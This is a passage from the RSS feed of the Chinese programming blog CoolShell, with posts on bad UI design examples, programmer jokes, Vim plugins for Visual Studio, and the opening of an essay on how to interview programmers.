/></a></p>\n<p>不要以为，以简洁著称的Google就没有问题，最近的Google Wave大家用过没有？那个滚动条啊，我实在是没有搞懂为什么设计成那个样子。可谓史上最无厘头的滚动条了。下面，左边是Mac的，右边是Google Wave的，他们俩干的都是一样的事，但Google Wave的太令人摸不着头脑了。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/google-wave-scrollbars.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"google-wave-scrollbars\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/google-wave-scrollbars.png\" alt=\"google-wave-scrollbars\" width=\"140\" height=\"243\" /></a></p>\n<p>对于Google Wave的滚动条，我只想说的是，根据《Don&#8217;t make me Think》的原则，这个滚动条和其它例子一样只站在了程序员的角度，而并没有考虑用户体验。下面这些文章，你都可以看看那大家的看法。</p>\n<ol>\n<li><a href=\"http://www.flickr.com/photos/yaili/3990023684/\">http://www.flickr.com/photos/yaili/3990023684/</a></li>\n<li><a href=\"http://ignorethecode.net/blog/2009/11/15/google_waves_scrollbars/\">http://ignorethecode.net/blog/2009/11/15/google_waves_scrollbars/</a></li>\n<li><a href=\"http://squawk.blogs.starnewsonline.com/10194/is-google-wave-ugly/\">http://squawk.blogs.starnewsonline.com/10194/is-google-wave-ugly/</a></li>\n<li><a href=\"http://allentan.posterous.com/google-waves-scrollbar-details\">http://allentan.posterous.com/google-waves-scrollbar-details</a></li>\n<li><a href=\"http://technmarketing.com/web/eight-google-wave-annoyances/\">http://technmarketing.com/web/eight-google-wave-annoyances/</a></li>\n</ol>\n<p>你以Google wave scrollbar作为关键词到Google里搜索吧，你可以看到大量的讨论和抱怨。以至于Google自己都要写个<a href=\"http://www.google.com/support/wave/bin/answer.py?hl=en&amp;answer=162103\" target=\"_blank\">说明</a>了。</p>\n<p>好了，最后两个图片和设计者无关，设计者在开始的时候可能并没有想到UI能变成这样。下面是关于IE7浏览器的，这张图你可能并不陌生，这是一张当我们的IE被安装了各种工具条后（很多是流氓软件）后的样子。（点击大图细细欣赏）</p>\n<p style=\"text-align: center;\"> <a href=\"https://coolshell.cn/wp-content/uploads/2009/12/wgetgui-screenshot.png\"></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/12/UI.png\"></a>  <a href=\"https://coolshell.cn/wp-content/uploads/2009/12/iemess2.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-1913\" title=\"iemess2\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/iemess2-300x225.jpg\" alt=\"iemess2\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/12/iemess2-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/12/iemess2.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/12/google-wave-scrollbars.png\"></a></p>\n<p>不要以为Firefox不会像IE一样，那是因为你的Firefox没有装插件，当安装上各种插件后，也是一样的。如下所示（点击图片，慢慢欣赏）。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/ffToolbars.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-1911\" title=\"ffToolbars\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/ffToolbars-251x300.jpg\" alt=\"ffToolbars\" width=\"251\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/12/ffToolbars-251x300.jpg 251w, https://coolshell.cn/wp-content/uploads/2009/12/ffToolbars.jpg 638w\" sizes=\"(max-width: 251px) 100vw, 251px\" /></a></p>\n<p style=\"text-align: left;\">最后，让我们看一个现实生活中的UI吧，好像是一个飞机驾驶舱。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/Blackhawk-Cockpit.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-1910\" title=\"Blackhawk-Cockpit\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/Blackhawk-Cockpit-300x225.jpg\" alt=\"Blackhawk-Cockpit\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/12/Blackhawk-Cockpit-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/12/Blackhawk-Cockpit.jpg 640w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a> </p>\n<p style=\"text-align: left;\">你有什么UI恐怖的经历吗？欢迎与我们分享。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" alt=\"30+ Web下拉菜单\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_title\">30+ Web下拉菜单</a></li><li ><a href=\"https://coolshell.cn/articles/3142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/UI-150x150.gif\" alt=\"用户界面和用户体验的差别\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3142.html\" class=\"wp_rp_title\">用户界面和用户体验的差别</a></li><li ><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/W_600-150x150.jpg\" alt=\"Windows的达尔文进化图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_title\">Windows的达尔文进化图</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1907.html\">UI的恶梦</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1907.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>52</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员的相关笑话（一）</title>\n\t\t<link>https://coolshell.cn/articles/1903.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1903.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 07 Dec 2009 00:12:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Joke]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1903</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>问答 Q：你是怎么区分一个内向的程序员和一个外向的程序员的？ A：外向的程序员会看着你的鞋和你说话时。 Q：为什么程序员不能区分万圣节和圣诞节？ A：这是因为O...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1903.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1903.html\">程序员的相关笑话（一）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h4>问答</h4>\n<p>Q：你是怎么区分一个内向的程序员和一个外向的程序员的？<br />\nA：外向的程序员会看着你的鞋和你说话时。</p>\n<p>Q：为什么程序员不能区分万圣节和圣诞节？<br />\nA：这是因为Oct 31 == Dec 25！（八进制的31==十进制的25）</p>\n<p> </p>\n<h4>刹车失灵</h4>\n<p>有一个物理学家，工程师和一个程序员驾驶着一辆汽车行驶在阿尔卑斯山脉上，在下山的时候，忽然，汽车的刹车失灵了，汽车无法控制地向下冲去，眼看前面就是一个悬崖峭壁，但是很幸运的是在这个悬崖的前面有一些小树让他们的汽车停了下来，而没有掉下山去。三个惊魂未定地从车里爬了出来。</p>\n<p>物理学家说，“我觉得我们应该建立一个模型来模拟在下山过程中刹车片在高温情况下失灵的情形”。</p>\n<p>工程师说，“我在车的后备厢来有个扳手，要不我们把车拆开看看到底是什么原因”。</p>\n<p>程序员说，“为什么我们不找个相同的车再来一次以重现这个问题呢？”</p>\n<p><span id=\"more-1903\"></span></p>\n<p> </p>\n<h4>关于编程语言</h4>\n<p>如果C++是一把锤子的话，那么编程就会变成大手指头。</p>\n<p>如果你找了一百万只猴子来敲打一百万个键盘，那么会有一只猴子会敲出一段Java程序，而其余的只会敲出Perl程序。</p>\n<p>一阵急促的敲门声，“谁啊！”，过了5分钟，门外传来“Java”。</p>\n<p>如果说Java很不错是因为它可以运行在所有的操作系统上，那么就可以说肛交很不错，因为其可以使用于所有的性别上。</p>\n<p> </p>\n<h4>自行车</h4>\n<p>一个程序员骑着一个很漂亮的自行车到了公司，另一个程序员看到了他，问到，“你是从哪搞到的这么漂亮的车的？”</p>\n<p>骑车的那个程序员说，“我刚从那边过来，有一个漂亮的姑娘骑着这个车过来，并停在我跟前，把衣服全脱了，然后对我说，‘你想要什么都可以’”。</p>\n<p>另一个程序员马上说到，“你绝对做了一个正确的选择，因为那姑娘的衣服你并不一定穿得了”。</p>\n<p> </p>\n<h4>火车</h4>\n<p>一个年轻的程序员和一个项目经理登上了一列在山里行驶的火车，他们发现列车上几乎都坐满了，只有两个在一起的空位，这个空位的对面是一个老奶奶和一个年轻漂亮的姑娘。两个上前坐了下来。程序员和那个姑娘他们比较暧昧地相互看对方。这时，火车进入山洞，车厢里一片漆黑。此时，只听见一个亲嘴的声音，随后就听到一个响亮的巴掌声。很快火车出了山洞，他们四个人都不说话。</p>\n<p>那个老奶奶在喃喃道，“这个年轻小伙怎么这么无礼，不过我很高兴我的孙女扇了一个巴掌”。</p>\n<p>项目经理在想，“没想到这个程序员居然这么大胆，敢去亲那姑娘，只可惜那姑娘打错了人，居然给打了我。”</p>\n<p>漂亮的姑娘想，“他亲了我真好，希望我的祖母没有打疼他”。</p>\n<p>程序员坐在那里露出了笑容，“生活真好啊。这一辈子能有几次机会可以在亲一个美女的同时打项目经理一巴掌啊”</p>\n<p> </p>\n<h4>问路</h4>\n<p>有一个驾驶热气球的人发现他迷路了。他降低了飞行的高度，并认出了地面上的一个人。他继续下降高度并对着那个人大叫，“打扰一下，你能告诉我我在哪吗？”</p>\n<p>下面那个人说：“是的。你在热气球里啊，盘旋在30英尺的空中”。</p>\n<p>热气球上的人说：“你一定是在IT部门做技术工作”。</p>\n<p>“没错”，地面上的人说到，“你是怎么知道的？”</p>\n<p>“呵呵”，热气球上的人说，“你告诉我的每件事在技术上都是对的，但对都没有用”。</p>\n<p>地面上的人说，“你一定是管理层的人”。</p>\n<p>“没错”，热气球上的人说，“可是你是怎么知道的？”</p>\n<p>“呵呵”，地面上的那人说到，“你不知道你在哪里，你也不知道你要去哪，你总希望我能帮你。你现在和我们刚见面时还在原来那个地方，但现在却是我错了”。</p>\n<p> </p>\n<h4>警告</h4>\n<p>有一个小伙子在一个办公大楼的门口抽着烟，一个妇女路过他身边，并对他说，“你知道不知道这个东西会危害你的健康？我是说，你有没有注意到香烟盒上的那个警告（Warning）？”</p>\n<p>小伙子说，“没事儿，我是一个程序员”。</p>\n<p>那妇女说，“这又怎样？”</p>\n<p>程序员说，“我们从来不关心Warning，只关心Error”</p>\n<p> </p>\n<p>(你还有更多的笑话吗？欢迎告诉我们)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1941.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"程序员的相关笑话（二）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1941.html\" class=\"wp_rp_title\">程序员的相关笑话（二）</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1903.html\">程序员的相关笑话（一）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1903.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>36</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Visual Studio的Vim插件</title>\n\t\t<link>https://coolshell.cn/articles/1901.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1901.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 04 Dec 2009 01:55:58 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[ViEmu]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<category><![CDATA[VsVim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1901</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前两天向大家介绍了Eclipse 和Vim相互交融的插件，今天向大介绍几个插件，可以让你在Visual Studio中使用Vim的那些操作。 第一个是：ViEm...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1901.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1901.html\">Visual Studio的Vim插件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前两天向大家介绍了<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1837.html\">Eclipse 和Vim相互交融的插件</a>，今天向大介绍几个插件，可以让你在Visual Studio中使用Vim的那些操作。</p>\n<p>第一个是：<a href=\"http://www.viemu.com/\" target=\"_blank\">ViEmu</a>，下面是一个演示图片。不过这个插件是商业版的，而且还不支持VS2010。不过据其网站说很快就会支持。最夸张的是ViEmu还支持Word和Outlook，SQL Server，呵呵。</p>\n<p><a href=\"http://www.viemu.com/viemu-movie.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" title=\"ViEum\" src=\"http://www.viemu.com/viemu-movie.gif\" alt=\"\" width=\"642\" height=\"370\" /></a></p>\n<p>如果你要用免费的的插件，没有问题，试工这个新出的插件吧：<a href=\"http://visualstudiogallery.msdn.microsoft.com/en-us/59ca71b3-a4a3-46ca-8fe1-0e90e3f79329\" target=\"_blank\">VsVim</a>。只不过好像目前只支持VS2010。</p>\n<p style=\"TEXT-ALIGN: center\"><img decoding=\"async\" src=\"http://visualstudiogallery.msdn.microsoft.com/en-us/59ca71b3-a4a3-46ca-8fe1-0e90e3f79329/image/file/6397\" alt=\"\" /></p>\n<div id=\"projectTitleBar\"><strong></strong><a href=\"http://visualstudiogallery.msdn.microsoft.com/en-us/59ca71b3-a4a3-46ca-8fe1-0e90e3f79329\"></a> 看来Vim还是很强大的，不然，怎会有这些人把其集成到了 Eclipes 和Vistual Studio中，呵呵。Unix下的这个老得都不行了的编辑器正在影响着图形界面的编辑器。最后，让我问问你，你会用Vim吗？</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1901.html\">Visual Studio的Vim插件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1901.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>73</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>我是怎么招聘程序员的</title>\n\t\t<link>https://coolshell.cn/articles/1870.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1870.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 02 Dec 2009 00:53:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1870</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>很早以前就想写一篇和面试相关的文章了，今天在网络上看到一篇关于如何去面试程序员的英文文章，发现其中有很多和我共鸣的东西，所以仿照其标题通过自己的经历写下了这篇文...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1870.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1870.html\">我是怎么招聘程序员的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"面试\" alt=\"面试\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/job-interview.gif\" width=\"221\" height=\"160\" />很早以前就想写一篇和面试相关的文章了，今天在网络上看到一篇关于如何去面试程序员的<a href=\"http://www.aaronsw.com/weblog/hiring\" target=\"_blank\">英文文章</a>，发现其中有很多和我共鸣的东西，所以仿照其标题通过自己的经历写下了这篇文章。</p>\n<p>工作这么多年来，即被面试过，也面试过他人，对于程序员的面试，经历过很不错的面试，很专业的面试，也经历过一些BT和令人不爽的面试，我个人觉得一个好的面试，面试官是很重要的，所以，本文想从“面试官”的角度来阐述一下。于是，有了下面这样一篇的文章，希望本文对你的职场经历有用，特别是那些正在招聘和面试程序员的朋友，我觉得这篇文章会对大家有很多启示。此外，做为被面试的人，你可以看看本站的《<a href=\"https://coolshell.cn/articles/1695.html\" rel=\"bookmark\">别的程序员是怎么读你的简历的</a>》《<a href=\"https://coolshell.cn/articles/428.html\" rel=\"bookmark\">程序员需要具备的基本技能</a>》《<a href=\"https://coolshell.cn/articles/222.html\" rel=\"bookmark\">优秀程序员的十个习惯</a>》其它一些和<a href=\"https://coolshell.cn/?tag=programmer\" target=\"_blank\">程序员相关的文章</a>。</p>\n<p>对于招聘方来说，在招聘程序员的时候，我估计面试应聘者时，最主要想知道的是下面三件事：</p>\n<ol>\n<li>这个程序员的是否够聪明？</li>\n<li>这个程序员能否把事情搞定？</li>\n<li>这个程序员能和我的团队在一起工作吗？</li>\n</ol>\n<p>我相信，这是所有团队经理招人要考虑的三个问题，所有的问题也基本上围绕着这三个问题。有些时候，你也许觉得程序员的技术技能可以同时解决这三个问题，一个技术能力优秀的人必然是一个聪明的，可以搞定事情的人，当然也就能和团队一起工作了。是的，感觉看起来是这个样子，但其实并不是这样的。有些人的确很聪明，但却不能处理好工作上的事情，这样人应该是你的朋友，你的顾问，但不应该是你的雇员。有的人为人很不错，和团队所有人都合得来，但并不是很聪明，但工作很刻苦很努力，这样的人可以成为你的下属，比如某个下属骨干的助手，或是整个团队的助手。如果某个人不能和团队一起工作，无论其有多聪明，解决问题的能力有多强，你都不应该和他在一起工作。人个认为，团队的和谐是一切事情的前提。</p>\n<p><img decoding=\"async\" title=\"更多...\" alt=\"\" src=\"https://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\" /><span id=\"more-1870\"></span></p>\n<p>对于传统的面试招聘过程，基本上来说都是下面这样的样子的：</p>\n<ol>\n<li>阅读应聘者的简历，让应聘者做个自我介绍。</li>\n<li>问一些比较难的非常细节的技术问题，以一问一答的形式。</li>\n<li>给面试者一些和几个编程难题。（比如某些怪异的算法题）</li>\n</ol>\n<p>我个人觉得这种面试方法很可笑，也很糟糕，尤其是后面两点。通常来说，这样的面试只会让你面试到一些“书呆子”或是一些“技术痴迷者”，下面让我来一条一条地剖析一下这几条的弊端。</p>\n<ol>\n<li>你很难从一个人的简历或是自我介绍上了解一个人。因为这些都是当事人自己写的，或是自己阐述的。所以，这并不是很准确的，通过简历，你只能知道很简单的事情，这对于是否能招入团是远远不够的。而在面试的开始，让应聘者做自我介绍，只会让面试者以很正式的态度来面对整个面试。一但面试过程很正式，很严肃，就会让人很拘禁，其实，这并不是我们想要的，我要的是<strong>应聘者真实和自然的表现，从而才能了解到最真实的东西</strong>。</li>\n<li>问几个技术细节的问题。比如：我个人经历过的——“ps的-a参数是什么意思？”，“vi中删除换行符的命令是什么？”，“C++的关键字explict,mutable是用来干什么？”等等，等等。以前做为一个应聘者来说，我非常讨厌这样的问题，因为这样的问题查一下手册就知道。难道他要招的是一个字典手册？不是一个人？对于这方面，<strong>重要的不是知识，重要的是其查找知识的能力</strong>。</li>\n<li>给应聘者一个或几个很难的算法题，给上十几分钟，然后让面试者把伪代码或是代码写下来。这样的做法是相当可笑的，不能讨论不能查资料，让人在一种压力状态下作答，这根本就不是实际工作中的状态，而我们的面试也就成了一种刁难（我最变态的经历是，当我把写在两页纸上的代码上交上去后，面试官把其交给旁边程序员输出电脑做校验，结果程序员说，编译出错。于是，面试官说，“很遗憾，可能你写的程序还不多”，相当可笑）。对于这点来说，<strong>重要的不是那个解题的答案，而是解题的思路和方法</strong>。</li>\n</ol>\n<p>我以前经历过很多的面试，当技术人员来和我做面试的时候，我发现，“技术人员的思维”对于某些人来说根本分不清面试和考试，<strong>在潜意识里，他们在很多时候不是在面试这个人，而是在刁难这个人并以此展示自己的技能</strong>。我个人认为我是一个好的程序员，但我可以告诉你我无法通过那样的面试，因为那样的面试是为他们自己准备的，而不是为应聘者准备的。</p>\n<p>那么，我又是怎样去面试的呢？</p>\n<p><strong>一、确认简历。</strong>首先，阅读一下别人的简历是需要的，从简历上，工作经历，项目